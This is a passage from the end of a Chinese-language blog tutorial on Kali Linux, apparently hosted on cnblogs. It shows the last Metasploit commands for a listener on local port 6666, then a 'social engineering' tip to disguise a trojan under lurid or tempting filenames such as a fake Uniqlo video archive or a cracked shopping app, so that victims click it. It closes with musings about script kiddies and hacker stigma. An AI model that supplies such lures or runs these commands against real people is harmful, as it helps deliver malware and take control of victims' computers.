set lport 6666 # 我们的kali本机端口
exploit

社工:色贪想,只要参透这三个字,你就是神。譬如说将木马改名为“优衣库完整视频压缩包.exe”“拼夕夕砍一刀破解版.exe”“白月光通讯录.txt”让哪个色鬼点击

结束语:这些当脚本小子足够了,我学习kali linux时,没人告诉我该怎么快速学kali linux,我能怎么办呢?只能天天空想当一个所谓的黑客(黑客首先令人想起的是一双伸向电脑或网络的‘黑手’。而“客”,则意指hacker们常去那些不属于自己的系统或计算机中“做客”。当然,他们常常“喧宾夺主”——添加、修改、删除、复制服务器或计算机里的各种信息,甚至“反客为主”——把自己的指令输入被侵入的系统中,从而达到控制对方的目的。)这个教程献给以前学习kali linux的我。不难看出,给黑客群体带来“污名”化的,主要是第二类——“script kiddie”(脚本小子),而人们对黑客的恶评指的也是他们,脚本小子一般指使用脚本或制作脚本的人。

posted @   我是god  阅读(39)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· .NET10 - 预览版1新功能体验(一)
点击右上角即可分享
微信分享提示